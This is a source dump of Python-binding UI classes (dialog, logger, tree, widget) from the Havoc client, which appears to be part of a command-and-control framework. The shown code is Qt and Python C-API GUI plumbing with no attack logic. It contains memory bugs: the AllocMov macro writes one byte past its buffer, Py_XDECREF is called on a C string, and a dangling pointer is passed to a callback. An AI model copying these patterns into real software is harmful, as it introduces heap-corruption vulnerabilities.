tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ Stdout_methods, /* tp_methods */ 0, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ 0, /* tp_new */ }; PyModuleDef embmodule = { PyModuleDef_HEAD_INIT, "emb", 0, -1, 0, }; // Internal state PyObject* g_stdout; PyObject* g_stdout_saved; PyMODINIT_FUNC PyInit_emb(void) { g_stdout = 0; g_stdout_saved = 0; StdoutType.tp_new = PyType_GenericNew; if (PyType_Ready(&StdoutType) < 0) return 0; PyObject* m = PyModule_Create(&embmodule); if (m) { Py_INCREF(&StdoutType); PyModule_AddObject(m, "Stdout", reinterpret_cast(&StdoutType)); } return m; } void set_stdout(stdout_write_type write) { if (!g_stdout) { g_stdout_saved = PySys_GetObject("stdout"); // borrowed g_stdout = StdoutType.tp_new(&StdoutType, 0, 0); } Stdout* impl = reinterpret_cast(g_stdout); impl->write = write; PySys_SetObject("stdout", g_stdout); } void reset_stdout() { if (g_stdout_saved) PySys_SetObject("stdout", g_stdout_saved); Py_XDECREF(g_stdout); g_stdout = 0; } } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/UI/000077500000000000000000000000001467014221700226245ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/UI/PyDialogClass.cc000066400000000000000000000401201467014221700256260ustar00rootroot00000000000000 #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyDialogClass_members[] = { { "title", T_STRING, offsetof( PyDialogClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyDialogClass_methods[] = { { "exec", ( PyCFunction ) DialogClass_exec, METH_VARARGS, "Display the window" }, { "close", ( PyCFunction ) DialogClass_close, METH_VARARGS, "Close the window" }, { "addLabel", ( PyCFunction ) DialogClass_addLabel, METH_VARARGS, "Insert a label in the window" }, { "addImage", ( PyCFunction ) DialogClass_addImage, METH_VARARGS, "Insert an image in the window" }, { "addButton", ( PyCFunction ) DialogClass_addButton, METH_VARARGS, "Insert a button in the window" }, { "addCheckbox", ( PyCFunction ) DialogClass_addCheckbox, METH_VARARGS, "Insert a checkbox in the window" }, { "addCombobox", ( PyCFunction ) DialogClass_addCombobox, METH_VARARGS, "Insert a checkbox in the window" }, { "addLineedit", ( PyCFunction ) DialogClass_addLineedit, METH_VARARGS, "Insert a Line edit in the window" }, { "addCalendar", ( PyCFunction ) DialogClass_addCalendar, METH_VARARGS, "Insert a Calendar in the window" }, { "addDial", ( PyCFunction ) DialogClass_addDial, METH_VARARGS, "Insert a Dial in the window" }, { "addSlider", ( PyCFunction ) DialogClass_addSlider, METH_VARARGS, "Insert a Slider in the window" }, { "replaceLabel", ( PyCFunction ) DialogClass_replaceLabel, METH_VARARGS, "Replace a label with supplied text" }, { "clear", ( PyCFunction ) DialogClass_clear, METH_VARARGS, "clear the dialog" }, { NULL }, }; PyTypeObject PyDialogClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.dialog", /* tp_name */ sizeof( PyDialogClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) DialogClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Dialog Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyDialogClass_methods, /* tp_methods */ PyDialogClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) DialogClass_init, /* tp_init */ 0, /* tp_alloc */ DialogClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void DialogClass_dealloc( PPyDialogClass self ) { if (self) { if (self->title) Py_XDECREF( self->title ); if (self->DialogWindow && self->DialogWindow->window) delete self->DialogWindow->window; if (self->DialogWindow) free(self->DialogWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyDialogClass self; self = ( PPyDialogClass ) PyType_Type.tp_alloc( type, 0 ); if (self == NULL) return NULL; self->DialogWindow = NULL; self->title = NULL; self->DialogWindow = (PPyDialogQWindow)malloc(sizeof(PyDialogQWindow)); if (self->DialogWindow == NULL) { Py_TYPE( self )->tp_free( ( PyObject* ) self ); return NULL; } self->DialogWindow->window = NULL; self->DialogWindow->layout = NULL; self->DialogWindow->scroll = NULL; self->DialogWindow->root = NULL; self->DialogWindow->root_layout = NULL; return ( PyObject* ) self; } int DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds ) { char* title = NULL; PyObject* scrollable = NULL; int width = 400; int height = 300; const char* kwdlist[] = { "title", "scrollable", "width", "height", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s|Oii", const_cast(kwdlist), &title, &scrollable, &width, &height) ) return -1; AllocMov( self->title, title, strlen(title) ); self->DialogWindow->window = new QDialog(HavocX::HavocUserInterface->HavocWindow); self->DialogWindow->window->setWindowTitle(title); self->DialogWindow->window->resize(width, height); self->DialogWindow->root = new QWidget(); self->DialogWindow->layout = new QVBoxLayout(self->DialogWindow->root); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) { self->DialogWindow->scroll = new QScrollArea(self->DialogWindow->window); self->DialogWindow->scroll->setWidgetResizable(true); self->DialogWindow->scroll->setWidget(self->DialogWindow->root); } self->DialogWindow->root_layout = new QVBoxLayout(self->DialogWindow->window); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) self->DialogWindow->root_layout->addWidget(self->DialogWindow->scroll); else self->DialogWindow->root_layout->addWidget(self->DialogWindow->root); return 0; } // Methods PyObject* DialogClass_exec( PPyDialogClass self, PyObject *args ) { self->DialogWindow->window->exec(); //HavocX::HavocUserInterface->NewBottomTab( self->DialogWindow, "test"); Py_RETURN_NONE; } PyObject* DialogClass_addLabel( PPyDialogClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QLabel* label = new QLabel(text, self->DialogWindow->window); self->DialogWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* DialogClass_addImage( PPyDialogClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QPixmap img(text); QLabel* label = new QLabel(self->DialogWindow->window); label->setPixmap(img); self->DialogWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* DialogClass_addButton( PPyDialogClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* button_callback = nullptr; if( !PyArg_ParseTuple( args, "sO|s", &text, &button_callback, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(button_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QPushButton* button = new QPushButton(text, self->DialogWindow->window); if (style) button->setStyleSheet(style); self->DialogWindow->layout->addWidget(button); QObject::connect(button, &QPushButton::clicked, self->DialogWindow->window, [button_callback]() { PyObject_CallFunctionObjArgs(button_callback, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addCheckbox( PPyDialogClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* checkbox_callback = nullptr; PyObject* is_checked = nullptr; if( !PyArg_ParseTuple( args, "sO|Os", &text, &checkbox_callback, &is_checked, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(checkbox_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCheckBox* checkbox = new QCheckBox(text, self->DialogWindow->window); if (style) checkbox->setStyleSheet(style); if (is_checked && PyBool_Check(is_checked) && is_checked == Py_True) checkbox->setChecked(true); self->DialogWindow->layout->addWidget(checkbox); QObject::connect(checkbox, &QCheckBox::clicked, self->DialogWindow->window, [checkbox_callback]() { PyObject_CallFunctionObjArgs(checkbox_callback, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addCombobox( PPyDialogClass self, PyObject *args ) { Py_ssize_t tuple_size = PyTuple_Size(args); QComboBox* comboBox = new QComboBox(self->DialogWindow->window); PyObject* callable_obj = PyTuple_GetItem(args, 0); if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } for (Py_ssize_t i = 1; i < tuple_size; i++) { const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); comboBox->addItem(string_obj); } self->DialogWindow->layout->addWidget(comboBox); QObject::connect(comboBox, QOverload::of(&QComboBox::activated), [callable_obj](int index) { PyObject* pArg = PyLong_FromLong(index); PyObject_CallFunctionObjArgs(callable_obj, pArg, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addLineedit( PPyDialogClass self, PyObject *args ) { char *text = nullptr; PyObject* line_callback = nullptr; if( !PyArg_ParseTuple( args, "sO", &text, &line_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(line_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QLineEdit* line = new QLineEdit(self->DialogWindow->window); line->setPlaceholderText(text); self->DialogWindow->layout->addWidget(line); QObject::connect(line, &QLineEdit::editingFinished, self->DialogWindow->window, [line, line_callback]() { QString text = line->text(); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(line_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addCalendar( PPyDialogClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCalendarWidget* cal = new QCalendarWidget(self->DialogWindow->window); self->DialogWindow->layout->addWidget(cal); QObject::connect(cal, &QCalendarWidget::selectionChanged, self->DialogWindow->window, [cal, cal_callback]() { QDate selectedDate = cal->selectedDate(); QString text = selectedDate.toString("yyyy-MM-dd"); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(cal_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addDial( PPyDialogClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QDial* dial = new QDial(self->DialogWindow->window); self->DialogWindow->layout->addWidget(dial); QObject::connect(dial, &QDial::valueChanged, self->DialogWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addSlider( PPyDialogClass self, PyObject *args ) { PyObject* cal_callback = nullptr; PyObject* vertical = nullptr; if( !PyArg_ParseTuple( args, "O|O", &cal_callback, &vertical) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QSlider* slider = nullptr; if (vertical && PyBool_Check(vertical) && vertical == Py_True) { slider = new QSlider(Qt::Vertical); } else { slider = new QSlider(Qt::Horizontal); } self->DialogWindow->layout->addWidget(slider); QObject::connect(slider, &QSlider::valueChanged, self->DialogWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_replaceLabel( PPyDialogClass self, PyObject *args ) { char* to_find = NULL; char* to_replace= NULL; QVBoxLayout *layout = self->DialogWindow->layout; if( !PyArg_ParseTuple( args, "ss", &to_find, &to_replace) ) { Py_RETURN_NONE; } QString targetText = QString(to_find); for (int i = 0; i < layout->count(); ++i) { QLayoutItem* item = layout->itemAt(i); if (item->widget() && item->widget()->inherits("QLabel")) { QLabel* label = qobject_cast(item->widget()); if (label && label->text() == targetText) { label->setText(to_replace); break; } } } Py_RETURN_NONE; } PyObject* DialogClass_close( PPyDialogClass self, PyObject *args ) { self->DialogWindow->window->accept(); Py_RETURN_NONE; } PyObject* DialogClass_clear( PPyDialogClass self, PyObject *args ) { QVBoxLayout *layout = self->DialogWindow->layout; QLayoutItem* item; while ((item = layout->takeAt(0)) != nullptr) { delete item->widget(); delete item; } Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/UI/PyLoggerClass.cc000066400000000000000000000143231467014221700256540ustar00rootroot00000000000000 #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyLoggerClass_members[] = { { "title", T_STRING, offsetof( PyLoggerClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyLoggerClass_methods[] = { { "setBottomTab", ( PyCFunction ) LoggerClass_setBottomTab, METH_VARARGS, "Set widget as Bottom Tab" }, { "setSmallTab", ( PyCFunction ) LoggerClass_setSmallTab, METH_VARARGS, "Set widget as Small Tab" }, { "addText", ( PyCFunction ) LoggerClass_addText, METH_VARARGS, "add text to the logger widget" }, { "clear", ( PyCFunction ) LoggerClass_clear, METH_VARARGS, "clears the logger" }, { NULL }, }; PyTypeObject PyLoggerClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.logger", /* tp_name */ sizeof( PyLoggerClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) LoggerClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Logger Widget Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyLoggerClass_methods, /* tp_methods */ PyLoggerClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) LoggerClass_init, /* tp_init */ 0, /* tp_alloc */ LoggerClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void LoggerClass_dealloc( PPyLoggerClass self ) { Py_XDECREF( self->title ); delete self->LoggerWindow->window; free(self->LoggerWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } PyObject* LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyLoggerClass self; self = ( PPyLoggerClass ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds ) { if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; char* title = NULL; const char* kwdlist[] = { "title", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s", const_cast(kwdlist), &title ) ) return -1; AllocMov( self->title, title, strlen(title) ); self->LoggerWindow = (PPyLoggerQWindow)malloc(sizeof(PyLoggerQWindow)); if (self->LoggerWindow == NULL) return -1; self->LoggerWindow->window = new QWidget(); self->LoggerWindow->window->setWindowTitle(title); self->LoggerWindow->layout = new QGridLayout(self->LoggerWindow->window); self->LoggerWindow->layout->setContentsMargins(4, 4, 4, 4); self->LoggerWindow->LogSection = new QTextEdit(self->LoggerWindow->window); self->LoggerWindow->LogSection->setReadOnly(true); self->LoggerWindow->layout->addWidget(self->LoggerWindow->LogSection, 0, 0, 1, 1); return 0; } // Methods PyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args ) { HavocX::HavocUserInterface->NewBottomTab( self->LoggerWindow->window, self->title); Py_RETURN_NONE; } PyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args ) { HavocX::HavocUserInterface->NewSmallTab( self->LoggerWindow->window, self->title); Py_RETURN_NONE; } PyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args ) { char* text = NULL; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QString Qtext = QString(text); self->LoggerWindow->LogSection->append(Qtext); Py_RETURN_NONE; } PyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args ) { self->LoggerWindow->LogSection->clear(); Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/UI/PyTreeClass.cc000066400000000000000000000237621467014221700253430ustar00rootroot00000000000000 #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyTreeClass_members[] = { { "title", T_STRING, offsetof( PyTreeClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyTreeClass_methods[] = { { "setBottomTab", ( PyCFunction ) TreeClass_setBottomTab, METH_VARARGS, "Set widget as Bottom Tab" }, { "setSmallTab", ( PyCFunction ) TreeClass_setSmallTab, METH_VARARGS, "Set widget as Small Tab" }, { "addRow", ( PyCFunction ) TreeClass_addRow, METH_VARARGS, "add a row to the tree" }, { "setPanel", ( PyCFunction ) TreeClass_setPanel, METH_VARARGS, "Set the data inside of the panel" }, { "setItem", ( PyCFunction ) TreeClass_setItem, METH_VARARGS, "set an item in the tree" }, { NULL }, }; PyTypeObject PyTreeClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.tree", /* tp_name */ sizeof( PyTreeClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) TreeClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Tree Widget Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyTreeClass_methods, /* tp_methods */ PyTreeClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) TreeClass_init, /* tp_init */ 0, /* tp_alloc */ TreeClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strncpy( des, src, size ); \ } void TreeClass_dealloc( PPyTreeClass self ) { if (self) { if (self->title) Py_XDECREF( self->title ); if (self->TreeWindow && self->TreeWindow->window) delete self->TreeWindow->window; if (self->TreeWindow) free(self->TreeWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyTreeClass self; self = ( PPyTreeClass ) PyType_Type.tp_alloc( type, 0 ); if (self == NULL) return NULL; self->title = NULL; self->TreeWindow = NULL; self->TreeWindow = (PPyTreeQWindow)malloc(sizeof(PyTreeQWindow)); if (self->TreeWindow == NULL) return NULL; self->TreeWindow->window = NULL; self->TreeWindow->layout = NULL; self->TreeWindow->scroll= NULL; self->TreeWindow->root = NULL; self->TreeWindow->panel = NULL; self->TreeWindow->root_layout = NULL; return ( PyObject* ) self; } int TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds ) { char* title = NULL; PyObject* class_callback = nullptr; PyObject* has_panel = nullptr; const char* kwdlist[] = { "title", "callback", "panel", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "sO|O", const_cast(kwdlist), &title, &class_callback, &has_panel ) ) return -1; if ( !PyCallable_Check(class_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return -1; } AllocMov( self->title, title, strlen(title) ); self->TreeWindow->window = new QWidget(); self->TreeWindow->window->setWindowTitle(title); self->TreeWindow->root = new QWidget(); self->TreeWindow->layout = new QHBoxLayout(self->TreeWindow->root); self->TreeWindow->scroll = new QScrollArea(self->TreeWindow->window); self->TreeWindow->scroll->setWidgetResizable(true); self->TreeWindow->scroll->setWidget(self->TreeWindow->root); self->TreeWindow->root_layout = new QVBoxLayout(self->TreeWindow->window); self->TreeWindow->root_layout->addWidget(self->TreeWindow->scroll); self->TreeWindow->item_model = new QStandardItemModel(); self->TreeWindow->item_model->setColumnCount(1); self->TreeWindow->root_item = new QStandardItem(title); self->TreeWindow->tree_view = new QTreeView(); self->TreeWindow->tree_view->setEditTriggers(QAbstractItemView::NoEditTriggers); self->TreeWindow->tree_view->setModel(self->TreeWindow->item_model); self->TreeWindow->item_model->invisibleRootItem()->appendRow(self->TreeWindow->root_item); if (has_panel && PyBool_Check(has_panel) && has_panel == Py_True) { self->TreeWindow->splitter = new QSplitter(); self->TreeWindow->panel = new QTextBrowser(); //self->TreeWindow->panel->setOpenLinks(false); self->TreeWindow->panel->setOpenExternalLinks(true); //self->TreeWindow->panel->setReadOnly(true); self->TreeWindow->splitter->addWidget(self->TreeWindow->tree_view); self->TreeWindow->splitter->addWidget(self->TreeWindow->panel); self->TreeWindow->layout->addWidget(self->TreeWindow->splitter); } else { self->TreeWindow->layout->addWidget(self->TreeWindow->tree_view); } QObject::connect(self->TreeWindow->tree_view->selectionModel(), &QItemSelectionModel::selectionChanged, [self, class_callback](const QItemSelection &selected, const QItemSelection &deselected) { for (const QModelIndex &index : selected.indexes()) { QStandardItem *selectedItem = self->TreeWindow->item_model->itemFromIndex(index); if (selectedItem) { const char *str = selectedItem->text().toUtf8().constData(); PyObject* pystr = PyUnicode_DecodeFSDefault(str); PyObject_CallFunctionObjArgs(class_callback, pystr, nullptr); } } }); return 0; } // Methods PyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args ) { HavocX::HavocUserInterface->NewBottomTab( self->TreeWindow->window, self->title); Py_RETURN_NONE; } PyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args ) { HavocX::HavocUserInterface->NewSmallTab( self->TreeWindow->window, self->title); Py_RETURN_NONE; } PyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args ) { const char *title = nullptr; Py_ssize_t tuple_size = PyTuple_Size(args); title = (const char *)PyUnicode_AsUTF8(PyTuple_GetItem(args, 0)); if (title == NULL) { PyErr_SetString(PyExc_TypeError, "First parameter must be a string"); } QStandardItem* child = new QStandardItem(title); QList child_data; for (Py_ssize_t i = 1; i < tuple_size; i++) { const char* child_str = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); child_data.append(new QStandardItem(child_str)); } child->appendColumn(child_data); self->TreeWindow->root_item->appendRow(child); Py_RETURN_NONE; } PyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args ) { int x, y; char *str; if( !PyArg_ParseTuple( args, "iis", &x, &y, &str) ) { Py_RETURN_NONE; } QStandardItem* element = new QStandardItem(str); self->TreeWindow->item_model->setItem(x, y, element); Py_RETURN_NONE; } PyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args ) { char *str; if( !PyArg_ParseTuple( args, "s", &str) ) { Py_RETURN_NONE; } if (self->TreeWindow->panel) { self->TreeWindow->panel->clear(); QString Qtext = QString(str); //self->TreeWindow->panel->append(Qtext); self->TreeWindow->panel->setHtml(Qtext); } else { PyErr_SetString(PyExc_TypeError, "The tree panel was not activated on initialization"); } Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/UI/PyWidgetClass.cc000066400000000000000000000376121467014221700256660ustar00rootroot00000000000000 #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyWidgetClass_members[] = { { "title", T_STRING, offsetof( PyWidgetClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyWidgetClass_methods[] = { { "setBottomTab", ( PyCFunction ) WidgetClass_setBottomTab, METH_VARARGS, "Set widget as Bottom Tab" }, { "setSmallTab", ( PyCFunction ) WidgetClass_setSmallTab, METH_VARARGS, "Set widget as Small Tab" }, { "addLabel", ( PyCFunction ) WidgetClass_addLabel, METH_VARARGS, "Insert a label in the widget" }, { "addImage", ( PyCFunction ) WidgetClass_addImage, METH_VARARGS, "Insert an image in the widget" }, { "addButton", ( PyCFunction ) WidgetClass_addButton, METH_VARARGS, "Insert a button in the widget" }, { "addCheckbox", ( PyCFunction ) WidgetClass_addCheckbox, METH_VARARGS, "Insert a checkbox in the window" }, { "addCombobox", ( PyCFunction ) WidgetClass_addCombobox, METH_VARARGS, "Insert a checkbox in the window" }, { "addLineedit", ( PyCFunction ) WidgetClass_addLineedit, METH_VARARGS, "Insert a Line edit in the window" }, { "addCalendar", ( PyCFunction ) WidgetClass_addCalendar, METH_VARARGS, "Insert a Calendar in the window" }, { "addDial", ( PyCFunction ) WidgetClass_addDial, METH_VARARGS, "Insert a dial in the window" }, { "addSlider", ( PyCFunction ) WidgetClass_addSlider, METH_VARARGS, "Insert a slider in the window" }, { "replaceLabel", ( PyCFunction ) WidgetClass_replaceLabel, METH_VARARGS, "Replace a label with supplied text" }, { "clear", ( PyCFunction ) WidgetClass_clear, METH_VARARGS, "clear a widget" }, { NULL }, }; PyTypeObject PyWidgetClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.widget", /* tp_name */ sizeof( PyWidgetClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) WidgetClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Widget Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyWidgetClass_methods, /* tp_methods */ PyWidgetClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) WidgetClass_init, /* tp_init */ 0, /* tp_alloc */ WidgetClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void WidgetClass_dealloc( PPyWidgetClass self ) { if (self) { if (self->title) Py_XDECREF( self->title ); if (self->WidgetWindow && self->WidgetWindow->window) delete self->WidgetWindow->window; if (self->WidgetWindow) free(self->WidgetWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyWidgetClass self; self = ( PPyWidgetClass ) PyType_Type.tp_alloc( type, 0 ); if (self == NULL) return NULL; self->title = NULL; self->WidgetWindow = NULL; self->WidgetWindow = (PPyWidgetQWindow)malloc(sizeof(PyWidgetQWindow)); if (self->WidgetWindow == NULL) return NULL; self->WidgetWindow->window = NULL; self->WidgetWindow->layout = NULL; self->WidgetWindow->scroll= NULL; self->WidgetWindow->root = NULL; self->WidgetWindow->root_layout = NULL; return ( PyObject* ) self; } int WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds ) { char* title = NULL; PyObject* scrollable = NULL; const char* kwdlist[] = { "title", "scrollable", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s|O", const_cast(kwdlist), &title, &scrollable ) ) return -1; AllocMov( self->title, title, strlen(title) ); self->WidgetWindow->window = new QWidget(); self->WidgetWindow->window->setWindowTitle(title); self->WidgetWindow->root = new QWidget(); self->WidgetWindow->layout = new QVBoxLayout(self->WidgetWindow->root); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) { self->WidgetWindow->scroll = new QScrollArea(self->WidgetWindow->window); self->WidgetWindow->scroll->setWidgetResizable(true); self->WidgetWindow->scroll->setWidget(self->WidgetWindow->root); } self->WidgetWindow->root_layout = new QVBoxLayout(self->WidgetWindow->window); if (scrollable 